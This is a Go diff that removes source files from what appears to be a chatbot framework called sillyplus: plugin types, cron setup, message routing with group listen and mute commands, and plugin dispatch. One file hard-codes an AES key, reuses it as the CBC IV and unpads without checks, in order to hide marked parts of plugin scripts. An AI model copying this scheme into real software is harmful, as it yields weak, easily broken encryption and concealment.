GroupId *Filter `json:"-"`
|
||||
FindAll bool `json:"-"`
|
||||
Admin bool `json:"-"`
|
||||
Handle func(Sender, func(vm *goja.Runtime)) interface{} `json:"-"`
|
||||
Cron map[string]string `json:"cron"`
|
||||
Priority int `json:"-"`
|
||||
Disable bool `json:"disable"`
|
||||
Hidden bool `json:"-"`
|
||||
CronIds []int `json:"-"`
|
||||
Origin string `json:"-"`
|
||||
UUID string `json:"id"`
|
||||
Title string `json:"title"`
|
||||
Type string `json:"type"` //脚本类型
|
||||
Suffix string `json:"suffix"` //脚本后缀
|
||||
Description string `json:"description"`
|
||||
Public bool `json:"public"`
|
||||
Icon string `json:"icon"`
|
||||
Version string `json:"version"`
|
||||
Author string `json:"author"`
|
||||
Status int `json:"status"` //0未安装 1可更新 2已安装
|
||||
Address string `json:"-"`
|
||||
CreateAt string `json:"create_at"`
|
||||
Module bool `json:"module"`
|
||||
// Web bool `json:"web"`
|
||||
Encrypt bool `json:"encrypt"`
|
||||
OnStart bool `json:"on_start"`
|
||||
PluginPublisher
|
||||
Running bool `json:"running"`
|
||||
Https []*Http `json:"-"`
|
||||
Reply *Reply `json:"-"`
|
||||
Downloads int `json:"downloads"`
|
||||
HasForm bool `json:"has_form"`
|
||||
Carry bool `json:"carry"`
|
||||
Messages interface{} `json:"messages"`
|
||||
Classes []string `json:"classes"`
|
||||
Debug bool `json:"debug"`
|
||||
Path string `json:"-"`
|
||||
Reload func() `json:"-"`
|
||||
}
|
||||
type Filter struct {
|
||||
BlackMode bool
|
||||
Items []string
|
||||
}
|
||||
|
||||
type PluginPublisher struct {
|
||||
Address string `json:"address"`
|
||||
Organization string `json:"organization"`
|
||||
Identified bool `json:"identified"`
|
||||
}
|
||||
|
||||
type Http struct { //GET /abc
|
||||
Path string
|
||||
Method string
|
||||
}
|
||||
|
||||
type Reply struct { //wx 123 1234
|
||||
Platform string
|
||||
BotsID []string
|
||||
}
|
||||
@@ -1,64 +0,0 @@
|
||||
package common
|
||||
|
||||
type Sender interface {
|
||||
SetPluginID(string)
|
||||
GetPluginID() string
|
||||
GetUserID() string
|
||||
GetChatID() string
|
||||
GetBotID() string
|
||||
GetImType() string
|
||||
GetMessageID() string
|
||||
RecallMessage(...interface{})
|
||||
GetUserName() string
|
||||
GetChatName() string
|
||||
IsReply() bool
|
||||
GetReplyUserID() int
|
||||
GetReplyMessageID() int
|
||||
GetRawMessage() interface{}
|
||||
SetMatch([]string)
|
||||
SetParams([]string)
|
||||
SetAllMatch([][]string)
|
||||
GetMatch() []string
|
||||
GetAllMatch() [][]string
|
||||
Get(interface{}) string
|
||||
GetContent() string
|
||||
SetContent(string)
|
||||
SetFsps(fsps *FakerSenderParams)
|
||||
IsAdmin() bool
|
||||
IsMedia() bool
|
||||
Reply(...interface{}) (string, error)
|
||||
Push(map[string]string) (string, error)
|
||||
Delete() error
|
||||
Finish()
|
||||
Continue()
|
||||
IsContinue() bool
|
||||
ClearContinue()
|
||||
Await(Sender, func(Sender) interface{}, ...interface{}) interface{}
|
||||
Copy() Sender
|
||||
GroupKick(uid string, reject_add_request bool) error
|
||||
GroupUnkick(uid string) error
|
||||
GroupBan(uid string, duration int) error
|
||||
GroupUnban(uid string) error
|
||||
AtLast()
|
||||
UAtLast()
|
||||
IsAtLast() bool
|
||||
MessagesToSend() string
|
||||
Stop()
|
||||
SetMark(interface{})
|
||||
GetMark() interface{}
|
||||
SetExpandMessageInfo(map[string]interface{})
|
||||
GetExpandMessageInfo() map[string]interface{}
|
||||
SetVar(string, interface{})
|
||||
GetVar(string) interface{}
|
||||
SetLevel(int)
|
||||
GetLevel() int
|
||||
Event() map[string]interface{}
|
||||
Action(map[string]interface{}) (interface{}, error)
|
||||
}
|
||||
|
||||
type FakerSenderParams struct {
|
||||
Content string
|
||||
UserID string
|
||||
ChatID string
|
||||
MessageID string
|
||||
}
|
||||
@@ -1,3 +0,0 @@
|
||||
package core
|
||||
|
||||
var compiled_at = ""
|
||||
@@ -1,10 +0,0 @@
|
||||
package core
|
||||
|
||||
import cron "github.com/robfig/cron/v3"
|
||||
|
||||
var CRON *cron.Cron
|
||||
|
||||
func init() {
|
||||
CRON = cron.New(cron.WithSeconds())
|
||||
CRON.Start()
|
||||
}
|
||||
@@ -1,98 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/aes"
|
||||
"crypto/cipher"
|
||||
"encoding/base64"
|
||||
"errors"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var PwdKey = []byte("xoxoslslgrgriiiixoxoslslgrgriiii")
|
||||
|
||||
func pkcs7Padding(data []byte, blockSize int) []byte {
|
||||
padding := blockSize - len(data)%blockSize
|
||||
padText := bytes.Repeat([]byte{byte(padding)}, padding)
|
||||
return append(data, padText...)
|
||||
}
|
||||
|
||||
func pkcs7UnPadding(data []byte) ([]byte, error) {
|
||||
length := len(data)
|
||||
if length == 0 {
|
||||
return nil, errors.New("加密字符串错误!")
|
||||
}
|
||||
unPadding := int(data[length-1])
|
||||
return data[:(length - unPadding)], nil
|
||||
}
|
||||
|
||||
func AesEncrypt(data []byte, key []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
blockSize := block.BlockSize()
|
||||
encryptBytes := pkcs7Padding(data, blockSize)
|
||||
crypted := make([]byte, len(encryptBytes))
|
||||
blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])
|
||||
blockMode.CryptBlocks(crypted, encryptBytes)
|
||||
return crypted, nil
|
||||
}
|
||||
|
||||
func AesDecrypt(data []byte, key []byte) ([]byte, error) {
|
||||
block, err := aes.NewCipher(key)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
blockSize := block.BlockSize()
|
||||
blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])
|
||||
crypted := make([]byte, len(data))
|
||||
blockMode.CryptBlocks(crypted, data)
|
||||
crypted, err = pkcs7UnPadding(crypted)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return crypted, nil
|
||||
}
|
||||
|
||||
func EncryptByAes(data []byte) (string, error) {
|
||||
res, err := AesEncrypt(data, PwdKey)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return base64.StdEncoding.EncodeToString(res), nil
|
||||
}
|
||||
|
||||
func DecryptByAes(data string) ([]byte, error) {
|
||||
dataByte, err := base64.StdEncoding.DecodeString(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return AesDecrypt(dataByte, PwdKey)
|
||||
}
|
||||
|
||||
func halfEct(str string) string {
|
||||
ss := regexp.MustCompile(`/\*hidden\*/([\s\S]+?)/\*neddih\*/`).FindAllString(str, -1)
|
||||
for _, v := range ss {
|
||||
// fmt.Println(v)
|
||||
// panic("")
|
||||
c_, _ := EncryptByAes([]byte(v))
|
||||
str = strings.Replace(str, v, fmt.Sprintf(`/** Here is hidden scripts %s */`, c_), 1)
|
||||
}
|
||||
return str
|
||||
}
|
||||
|
||||
func halfDeEct(str string) string {
|
||||
ss := regexp.MustCompile(`/\*\* Here is hidden scripts ([\s\S]+?) \*/`).FindAllStringSubmatch(str, -1)
|
||||
for _, v := range ss {
|
||||
f := v[0]
|
||||
c := v[1]
|
||||
c_, _ := DecryptByAes(c)
|
||||
if c_ != nil {
|
||||
str = strings.Replace(str, f, string(c_), 1)
|
||||
}
|
||||
}
|
||||
return str
|
||||
}
|
||||
@@ -1,692 +0,0 @@
|
||||
package core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/cdle/sillyplus/core/common"
|
||||
"github.com/cdle/sillyplus/core/logs"
|
||||
"github.com/cdle/sillyplus/core/storage"
|
||||
"github.com/cdle/sillyplus/utils"
|
||||
"github.com/goccy/go-json"
|
||||
)
|
||||
|
||||
// var replyRe = regexp.MustCompile(`\$\{\s*([^\s{}]+)\s*\}`)
|
||||
var total uint64 = 0
|
||||
var finished uint64 = 0
|
||||
var contents sync.Map
|
||||
|
||||
var Functions = []*common.Function{}
|
||||
|
||||
var Messages chan common.Sender
|
||||
|
||||
var ListenOnGroups sync.Map
|
||||
var NoListenUsers sync.Map
|
||||
var NoReplyGroups sync.Map
|
||||
var StaticListenOnGroups sync.Map
|
||||
var StaticNoReplyGroups sync.Map
|
||||
var noListenUsers = MakeBucket("noListenUsers")
|
||||
var listenOnGroups = MakeBucket("listenOnGroups")
|
||||
var noReplyGroups = MakeBucket("noReplyGroups")
|
||||
|
||||
type GroupInfo struct {
|
||||
Platform string `json:"platform"`
|
||||
Desc string `json:"desc"`
|
||||
Enable bool `json:"enable"`
|
||||
}
|
||||
|
||||
var AddNoReplyGroups = func(code string, desc string, plt string) {
|
||||
_, loaded := NoReplyGroups.LoadOrStore(code, plt)
|
||||
if !loaded {
|
||||
// logs.Info(desc)
|
||||
}
|
||||
}
|
||||
|
||||
var AddListenOnGroup = func(code string, desc string, plt string) {
|
||||
_, loaded := ListenOnGroups.LoadOrStore(code, plt)
|
||||
if !loaded {
|
||||
// logs.Info(desc)
|
||||
}
|
||||
}
|
||||
|
||||
var RemNoReplyGroups = func(code string, desc string) {
|
||||
_, loaded := NoReplyGroups.Load(code)
|
||||
if loaded {
|
||||
NoReplyGroups.Delete(code)
|
||||
// logs.Info(desc)
|
||||
}
|
||||
}
|
||||
|
||||
var RemListenOnGroup = func(code string, desc string) {
|
||||
_, loaded := ListenOnGroups.Load(code)
|
||||
if loaded {
|
||||
ListenOnGroups.Delete(code)
|
||||
// logs.Info(desc)
|
||||
}
|
||||
}
|
||||
|
||||
var IsNoReplyGroup = func(s common.Sender) bool {
|
||||
cid := s.GetChatID()
|
||||
if utils.IsZeroOrEmpty(cid) {
|
||||
return false
|
||||
}
|
||||
_, ok1 := NoReplyGroups.Load(cid)
|
||||
_, ok2 := StaticNoReplyGroups.Load(cid)
|
||||
res := ok1 || ok2
|
||||
if res {
|
||||
logs.Info("禁言的群组 %v/%v@%v", s.GetImType(), s.GetUserID(), cid)
|
||||
}
|
||||
return res
|
||||
}
|
||||
|
||||
func initListenReply() {
|
||||
listenOnGroups.Foreach(func(b1, data []byte) error {
|
||||
groupCode := string(b1)
|
||||
info := &GroupInfo{}
|
||||
err := json.Unmarshal(data, info)
|
||||
if err != nil {
|
||||
listenOnGroups.Set(groupCode, "")
|
||||
} else {
|
||||
if info.Enable {
|
||||
StaticListenOnGroups.Store(string(b1), info.Platform)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
storage.Watch(listenOnGroups, nil, func(old, new, key string) (fin *storage.Final) {
|
||||
if new == "" {
|
||||
logs.Info("已删除监听群组%s", key)
|
||||
StaticListenOnGroups.Delete(key)
|
||||
return
|
||||
}
|
||||
info := &GroupInfo{}
|
||||
json.Unmarshal([]byte(new), info)
|
||||
if info.Enable {
|
||||
StaticListenOnGroups.Store(key, info.Platform)
|
||||
logs.Info("已设置监听群组%s/%s", info.Platform, key)
|
||||
} else {
|
||||
StaticListenOnGroups.Delete(key)
|
||||
logs.Info("已取消监听群组%s/%s", info.Platform, key)
|
||||
}
|
||||
return
|
||||
})
|
||||
noReplyGroups.Foreach(func(b1, data []byte) error {
|
||||
groupCode := string(b1)
|
||||
info := &GroupInfo{}
|
||||
err := json.Unmarshal(data, info)
|
||||
if err != nil {
|
||||
noReplyGroups.Set(groupCode, "")
|
||||
} else {
|
||||
info := &GroupInfo{}
|
||||
json.Unmarshal(data, info)
|
||||
if info.Enable {
|
||||
StaticNoReplyGroups.Store(string(b1), info.Platform)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
storage.Watch(noReplyGroups, nil, func(old, new, key string) (fin *storage.Final) {
|
||||
if new == "" {
|
||||
logs.Info("已删除禁言群组%s", key)
|
||||
StaticNoReplyGroups.Delete(key)
|
||||
return
|
||||
}
|
||||
info := &GroupInfo{}
|
||||
json.Unmarshal([]byte(new), info)
|
||||
if info.Enable {
|
||||
logs.Info("已设置禁言群组%s/%s", info.Platform, key)
|
||||
StaticNoReplyGroups.Store(key, info.Platform)
|
||||
} else {
|
||||
logs.Info("已取消禁言群组%s%s", info.Platform, key)
|
||||
StaticNoReplyGroups.Delete(key)
|
||||
}
|
||||
return
|
||||
})
|
||||
noListenUsers.Foreach(func(b1, data []byte) error {
|
||||
groupCode := string(b1)
|
||||
info := &GroupInfo{}
|
||||
err := json.Unmarshal(data, info)
|
||||
if err != nil {
|
||||
noListenUsers.Set(groupCode, "")
|
||||
} else {
|
||||
info := &GroupInfo{}
|
||||
json.Unmarshal(data, info)
|
||||
// fmt.Println(string(b1), string(utils.JsonMarshal(info)))
|
||||
if info.Enable {
|
||||
NoListenUsers.Store(string(b1), info.Platform)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
storage.Watch(noListenUsers, nil, func(old, new, key string) (fin *storage.Final) {
|
||||
if new == "" {
|
||||
logs.Info("已取消屏蔽用户%s", key)
|
||||
NoListenUsers.Delete(key)
|
||||
return
|
||||
}
|
||||
info := &GroupInfo{}
|
||||
json.Unmarshal([]byte(new), info)
|
||||
if info.Enable {
|
||||
logs.Info("已屏蔽用户%s/%s", info.Platform, key)
|
||||
NoListenUsers.Store(key, info.Platform)
|
||||
} else {
|
||||
logs.Info("已取消屏蔽用户%s%s", info.Platform, key)
|
||||
NoListenUsers.Delete(key)
|
||||
}
|
||||
return
|
||||
})
|
||||
}
|
||||
|
||||
func initToHandleMessage() {
|
||||
listen_admin := sillyGirl.GetBool("listen_admin", true)
|
||||
storage.Watch(sillyGirl, "listen_admin", func(old, new, key string) *storage.Final {
|
||||
if new == "false" {
|
||||
listen_admin = false
|
||||
}
|
||||
return nil
|
||||
})
|
||||
Messages = make(chan common.Sender)
|
||||
go func() {
|
||||
for {
|
||||
s := <-Messages
|
||||
ignore := false
|
||||
cid := s.GetChatID()
|
||||
uid := s.GetUserID()
|
||||
imType := s.GetImType()
|
||||
isAdmin := s.IsAdmin()
|
||||
uname := s.GetUserName()
|
||||
ctt := s.GetContent()
|
||||
if !utils.IsZeroOrEmpty(cid) {
|
||||
cname := s.GetChatName()
|
||||
if cname != "" {
|
||||
CreateNickName(&Nickname{
|
||||
ID: cid,
|
||||
Group: true,
|
||||
Value: cname,
|
||||
Platform: imType,
|
||||
BotsID: []string{s.GetBotID()},
|
||||
})
|
||||
}
|
||||
if isAdmin {
|
||||
switch ctt {
|
||||
case "listen":
|
||||
if data := listenOnGroups.GetBytes(cid); len(data) == 0 {
|
||||
listenOnGroups.Set(cid, utils.JsonMarshal(&GroupInfo{
|
||||
Platform: imType,
|
||||
Enable: true,
|
||||
Desc: s.GetChatName(),
|
||||
}))
|
||||
} else {
|
||||
info := &GroupInfo{}
|
||||
json.Unmarshal(data, info)
|
||||
if !info.Enable {
|
||||
info.Enable = !info.Enable
|
||||
listenOnGroups.Set(cid, utils.JsonMarshal(info))
|
||||
}
|
||||
}
|
||||
s.Reply("ok")
|
||||
case "unlisten", "nolisten":
|
||||
if data := listenOnGroups.GetBytes(cid); len(data) != 0 {
|
||||
info := &GroupInfo{}
|
||||
json.Unmarshal(data, info)
|
||||
if info.Enable {
|
||||
info.Enable = !info.Enable
|
||||
listenOnGroups.Set(cid, utils.JsonMarshal(info))
|
||||
}
|
||||
}
|
||||
s.Reply("ok")
|
||||
case "reply":
|
||||
// if data := noReplyGroups.GetBytes(cid); len(data) != 0 {
|
||||
info := &GroupInfo{}
|
||||
// if info.Enable {
|
||||
// info.Enable = !info.Enable
|
||||
noReplyGroups.Set(cid, utils.JsonMarshal(info))
|
||||
// }
|
||||
// }
|
||||
s.Reply("ok")
|
||||
case "noreply", "unreply":
|
||||
if data := noReplyGroups.GetBytes(cid); len(data) == 0 {
|
||||
noReplyGroups.Set(cid, utils.JsonMarshal(&GroupInfo{
|
||||
Platform: imType,
|
||||
Enable: true,
|
||||
Desc: s.GetChatName(),
|
||||
}))
|
||||
} else {
|
||||
info := &GroupInfo{}
|
||||
json.Unmarshal(data, info)
|
||||
if !info.Enable {
|
||||
info.Enable = !info.Enable
|
||||
noReplyGroups.Set(cid, utils.JsonMarshal(info))
|
||||
}
|
||||
}
|
||||
s.Reply("ok")
|
||||
}
|
||||
}
|
||||
_, ok1 := ListenOnGroups.Load(cid)
|
||||
if !ok1 {
|
||||
if !listen_admin || !isAdmin {
|
||||
_, ok2 := StaticListenOnGroups.Load(cid)
|
||||
if !ok2 {
|
||||
ignore = true
|
||||
}
|
||||
}
|
||||
}
|
||||
} else {
|
||||
if isAdmin {
|
||||
switch ctt {
|
||||
case "unlisten", "nolisten":
|
||||
if data := noListenUsers.GetBytes(uid); len(data) == 0 {
|
||||
noListenUsers.Set(uid, utils.JsonMarshal(&GroupInfo{
|
||||
Platform: imType,
|
||||
Enable: true,
|
||||
Desc: s.GetChatName(),
|
||||
}))
|
||||
} else {
|
||||
info := &GroupInfo{}
|
||||
json.Unmarshal(data, info)
|
||||
if !info.Enable {
|
||||
info.Enable = !info.Enable
|
||||
noListenUsers.Set(uid, utils.JsonMarshal(info))
|
||||
}
|
||||
}
|
||||
s.Reply("ok")
|
||||
case "listen":
|
||||
if data := noListenUsers.GetBytes(uid); len(data) != 0 {
|
||||
info := &GroupInfo{}
|
||||
json.Unmarshal(data, info)
|
||||
if info.Enable {
|
||||
info.Enable = !info.Enable
|
||||
noListenUsers.Set(uid, utils.JsonMarshal(info))
|
||||
}
|
||||
}
|
||||
s.Reply("ok")
|
||||
}
|
||||
}
|
||||
}
|
||||
_, ok2 := NoListenUsers.Load(uid)
|
||||
if ok2 {
|
||||
ignore = true
|
||||
}
|
||||
|
||||
if uname != "" {
|
||||
CreateNickName(&Nickname{
|
||||
ID: uid,
|
||||
Group: false,
|
||||
Value: uname,
|
||||
Platform: imType,
|
||||
BotsID: []string{s.GetBotID()},
|
||||
})
|
||||
}
|
||||
if imType != "terminal" {
|
||||
if !ignore {
|
||||
logs.Info("接收到消息 %v/%v@%v:%s", imType, uid, cid, ctt)
|
||||
} else {
|
||||
logs.Info("屏蔽的消息 %v/%v@%v:%s", imType, uid, cid, ctt)
|
||||
}
|
||||
}
|
||||
if ignore {
|
||||
continue
|
||||
}
|
||||
go HandleMessage(s)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
func fmtRule(cmd *common.Function) {
|
||||
for i := range cmd.Rules {
|
||||
cmd.Rules[i] = strings.Trim(cmd.Rules[i], "")
|
||||
cmd.Params = append(cmd.Params, []string{})
|
||||
if strings.HasPrefix(cmd.Rules[i], "raw") {
|
||||
cmd.Rules[i] = strings.Replace(cmd.Rules[i], "raw ", "", -1)
|
||||
continue
|
||||
}
|
||||
if strings.HasPrefix(cmd.Rules[i], "^") {
|
||||
continue
|
||||
}
|
||||
if strings.HasSuffix(cmd.Rules[i], "$") {
|
||||
continue
|
||||
}
|
||||
cmd.Rules[i] = strings.ReplaceAll(cmd.Rules[i], `\r\a\w`, "raw")
|
||||
cmd.Rules[i] = strings.Replace(cmd.Rules[i], "(", `[(]`, -1)
|
||||
cmd.Rules[i] = strings.Replace(cmd.Rules[i], ")", `[)]`, -1)
|
||||
ress := regexp.MustCompile(`\[([^\s\[\]]+)\]`).FindAllStringSubmatch(cmd.Rules[i], -1)
|
||||
for _, res := range ress {
|
||||
var inner = res[1]
|
||||
vv := strings.SplitN(inner, ":", 2)
|
||||
name := vv[0]
|
||||
if len(vv) == 1 {
|
||||
cmd.Rules[i] = strings.ReplaceAll(cmd.Rules[i], res[0], "?")
|
||||
} else {
|
||||
cmd.Rules[i] = strings.ReplaceAll(cmd.Rules[i], res[0], fmt.Sprintf("(%s)", strings.ReplaceAll(vv[1], ",", "|")))
|
||||
}
|
||||
cmd.Params[i] = append(cmd.Params[i], name)
|
||||
}
|
||||
cmd.Rules[i] = regexp.MustCompile(`\?$`).ReplaceAllString(cmd.Rules[i], `([\s\S]+)`)
|
||||
cmd.Rules[i] = strings.Replace(cmd.Rules[i], " ", `\s+`, -1)
|
||||
cmd.Rules[i] = strings.Replace(cmd.Rules[i], "?", `(\S+)`, -1)
|
||||
cmd.Rules[i] = "^" + cmd.Rules[i] + "$"
|
||||
}
|
||||
}
|
||||
|
||||
func AddCommand(cmds []*common.Function) {
|
||||
for j := range cmds {
|
||||
if cmds[j].OnStart && !cmds[j].Disable {
|
||||
go func(f *common.Function) {
|
||||
time.Sleep(time.Second)
|
||||
// console.Log("初始化%v服务", f.Title)
|
||||
f.Handle(&CustomSender{
|
||||
F: &Factory{
|
||||
botplt: "*",
|
||||
},
|
||||
}, nil)
|
||||
}(cmds[j])
|
||||
}
|
||||
fmtRule(cmds[j])
|
||||
{
|
||||
if !cmds[j].Disable && !cmds[j].Module {
|
||||
for plt, Cron := range cmds[j].Cron {
|
||||
plt := plt
|
||||
cron := strings.TrimSpace(Cron)
|
||||
if len(regexp.MustCompile(`\S+`).FindAllString(cron, -1)) == 5 {
|
||||
Cron = "0 " + Cron
|
||||
}
|
||||
cronId, err := CRON.AddFunc(Cron, func() {
|
||||
cmds[j].Handle(&CustomSender{
|
||||
F: &Factory{
|
||||
botplt: plt,
|
||||
},
|
||||
}, nil)
|
||||
})
|
||||
if err == nil {
|
||||
cmds[j].CronIds = append(cmds[j].CronIds, int(cronId))
|
||||
// console["log"]("脚本%s添加定时器", cmds[j].Title)
|
||||
} else {
|
||||
console.Error("脚本%s定时器错误,%v", cmds[j].Title, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
// if cmds[j].Cron != "" && !cmds[j].Disable && !cmds[j].Module && !cmds[j].OnStart {
|
||||
|
||||
// }
|
||||
}
|
||||
{
|
||||
lf := len(Functions)
|
||||
for i := range Functions {
|
||||
f := lf - i - 1
|
||||
if Functions[f].Priority > cmds[j].Priority {
|
||||
Functions = append(Functions[:f+1], append([]*common.Function{cmds[j]}, Functions[f+1:]...)...)
|
||||
break
|
||||
}
|
||||
}
|
||||
if len(Functions) == lf {
|
||||
if lf > 0 {
|
||||
apd := false
|
||||
for i := range Functions {
|
||||
if cmds[j].Priority >= Functions[i].Priority {
|
||||
apd = true
|
||||
Functions = append(Functions[:i], append([]*common.Function{cmds[j]}, Functions[i:]...)...)
|
||||
break
|
||||
}
|
||||
}
|
||||
if !apd {
|
||||
Functions = append(Functions, cmds[j])
|
||||
}
|
||||
} else {
|
||||
Functions = append(Functions, cmds[j])
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func HandleMessage(sender common.Sender) {
|
||||
if !debug {
|
||||
defer func() {
|
||||
err := recover()
|
||||
if err != nil {
|
||||
console.Error("HandleMessage error: %v", err)
|
||||
}
|
||||
}()
|
||||
}
|
||||
num := atomic.AddUint64(&total, 1)
|
||||
defer atomic.AddUint64(&finished, 1)
|
||||
ct := sender.GetContent()
|
||||
contents.Store(num, ct)
|
||||
defer func() {
|
||||
contents.Delete(num)
|
||||
}()
|
||||
content := utils.TrimHiddenCharacter(ct)
|
||||
defer func() {
|
||||
sender.Finish()
|
||||
if sender.IsAtLast() {
|
||||
s := sender.MessagesToSend()
|
||||
if s != "" {
|
||||
sender.Reply(s)
|
||||
}
|
||||
}
|
||||
}()
|
||||
u, g, i, a := sender.GetUserID(), sender.GetChatID(), sender.GetImType(), sender.IsAdmin()
|
||||
con := true
|
||||
mtd := false
|
||||
for _, wait := range waits {
|
||||
wait.Foreach(func(k int64, c *Carry) bool {
|
||||
|
||||
// userID := vs.Get("u")
|
||||
// chatID := vs.Get("c")
|
||||
// imType := vs.Get("i")
|
||||
// forGroup := vs.Get("f")
|
||||
// if chatID != g && (forGroup != "me" || g != "0") {
|
||||
// return true
|
||||
// }
|
||||
// if userID != u && (forGroup == "" || forGroup == "me") {
|
||||
// return true
|
||||
// }
|
||||
|
||||
if c.RequireAdmin && !a {
|
||||
return true
|
||||
}
|
||||
// fmt.Println(c.Function.Rules, "==", c.AllowPlatforms, len(c.AllowPlatforms))
|
||||
|
||||
if len(c.AllowPlatforms) != 0 && !Contains(c.AllowPlatforms, i) {
|
||||
return true
|
||||
}
|
||||
|
||||
// fmt.Println(c.Function.Rules)
|
||||
|
||||
if len(c.ProhibitPlatforms) != 0 && Contains(c.ProhibitPlatforms, i) {
|
||||
return true
|
||||
}
|
||||
|
||||
if len(c.AllowUsers) != 0 && !Contains(c.AllowUsers, u) {
|
||||
return true
|
||||
}
|
||||
|
||||
if len(c.ProhibitUsers) != 0 && Contains(c.ProhibitUsers, u) {
|
||||
return true
|
||||
}
|
||||
if len(c.AllowGroups) != 0 && !Contains(c.AllowGroups, g) {
|
||||
return true
|
||||
}
|
||||
if len(c.ProhibitGroups) != 0 && Contains(c.ProhibitGroups, g) {
|
||||
return true
|
||||
}
|
||||
|
||||
// if c.ChatID != g && (!c.AllowPrivate || g != "") {
|
||||
// return true
|
||||
// }
|
||||
// if c.UserID != u && (c.AllowGroupUsers || c.AllowPrivate) {
|
||||
// return true
|
||||
// }
|
||||
|
||||
if c.ChatID != "" { //群聊监听
|
||||
if g == "" { //私聊时
|
||||
if !c.ListenPrivate { //如果未设置允许私聊则拒绝
|
||||
return true
|
||||
}
|
||||
} else { //群聊时
|
||||
if c.UserID != "" && u != c.UserID { //群员发言
|
||||
if !c.ListenGroup { //未设置允许群员加入拒绝
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
} else { //私聊监听
|
||||
if c.UserID != "" && u != c.UserID { //其他用户
|
||||
return true
|
||||
}
|
||||
}
|
||||
for i := range c.Function.Rules {
|
||||
reg, err := regexp.Compile(c.Function.Rules[i])
|
||||
if err != nil {
|
||||
console.Error("监听器正则错误,%v", err)
|
||||
continue
|
||||
}
|
||||
// logs.Info("%s规则:%s", c.Function.Title, c.Function.Rules[i])
|
||||
if res := reg.FindStringSubmatch(content); len(res) > 0 {
|
||||
logs.Info("匹配到%s规则:%s", c.Function.Title, c.Function.Rules[i])
|
||||
sender.SetMatch(res[1:])
|
||||
sender.SetParams(c.Function.Params[i])
|
||||
mtd = true
|
||||
c.Chan <- sender
|
||||
sender.Reply(<-c.Result)
|
||||
if !sender.IsContinue() {
|
||||
con = false
|
||||
return false
|
||||
}
|
||||
sender.ClearContinue()
|
||||
break
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
if mtd && !con {
|
||||
return
|
||||
}
|
||||
|
||||
for _, reply := range replies {
|
||||
if reply.Keyword == "" || reply.Value == "" {
|
||||
continue
|
||||
}
|
||||
if reply.Number != "" && reply.Number != u && reply.Number != g {
|
||||
continue
|
||||
}
|
||||
if len(reply.Platforms) != 0 && !Contains(reply.Platforms, i) {
|
||||
continue
|
||||
}
|
||||
// if reply.Class == 1 && g != "" {
|
||||
// continue
|
||||
// } else if reply.Class == 2 && g == "" {
|
||||
// continue
|
||||
// }
|
||||
reg, err := regexp.Compile(reply.Keyword)
|
||||
if err == nil {
|
||||
if reg.FindString(content) != "" {
|
||||
//todo 支持JS语法
|
||||
output := parseReply2(reply.Value)
|
||||
sender.Reply(output)
|
||||
}
|
||||
}
|
||||
}
|
||||
for _, function := range Functions {
|
||||
if function.Disable || function.Module {
|
||||
continue
|
||||
}
|
||||
imType := sender.GetImType()
|
||||
if (imType != "cron" && imType != "carry" && black(function.ImType, imType)) || black(function.UserId, sender.GetUserID()) || black(function.GroupId, fmt.Sprint(sender.GetChatID())) {
|
||||
continue
|
||||
}
|
||||
for i := range function.Rules {
|
||||
var matched bool
|
||||
if function.FindAll {
|
||||
reg, err := regexp.Compile(function.Rules[i])
|
||||
if err != nil {
|
||||
console.Error("脚本%s正则错误,%v", function.Title, err)
|
||||
continue
|
||||
}
|
||||
if res := reg.FindAllStringSubmatch(content, -1); len(res) > 0 {
|
||||
tmp := [][]string{}
|
||||
for i := range res {
|
||||
tmp = append(tmp, res[i][1:])
|
||||
}
|
||||
if !function.Hidden {
|
||||
logs.Info("匹配到规则:%s", function.Rules[i])
|
||||
}
|
||||
sender.SetAllMatch(tmp)
|
||||
matched = true
|
||||
}
|
||||
} else {
|
||||
reg, err := regexp.Compile(function.Rules[i])
|
||||
if err != nil {
|
||||
console.Error("脚本%s正则错误,%v", function.Title, err)
|
||||
continue
|
||||
}
|
||||
if res := reg.FindStringSubmatch(content); len(res) > 0 {
|
||||
if !function.Hidden {
|
||||
logs.Info("匹配到规则:%s", function.Rules[i])
|
||||
}
|
||||
sender.SetMatch(res[1:])
|
||||
sender.SetParams(function.Params[i])
|
||||
matched = true
|
||||
}
|
||||
}
|
||||
if matched {
|
||||
if function.Admin && !a {
|
||||
return
|
||||
}
|
||||
rt := function.Handle(sender, nil)
|
||||
if rt != nil {
|
||||
sender.Reply(rt)
|
||||
}
|
||||
if sender.IsContinue() {
|
||||
sender.ClearContinue()
|
||||
content = utils.TrimHiddenCharacter(sender.GetContent())
|
||||
if !function.Hidden {
|
||||
logs.Info("继续去处理:%s", content)
|
||||
}
|
||||
goto next
|
||||
}
|
||||
return
|
||||
}
|
||||
}
|
||||
next:
|
||||
}
|
||||
|
||||
recall := sillyGirl.GetString("recall")
|
||||
if recall != "" {
|
||||
recalled := false
|
||||
for _, v := range strings.Split(recall, "&") {
|
||||
reg, err := regexp.Compile(v)
|
||||
if err == nil {
|
||||
if reg.FindString(content) != "" {
|
||||
if !a && sender.GetImType() != "wx" {
|
||||
sender.Delete()
|
||||
recalled = true
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
if recalled {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
func black(filter *common.Filter, str string) bool {
|
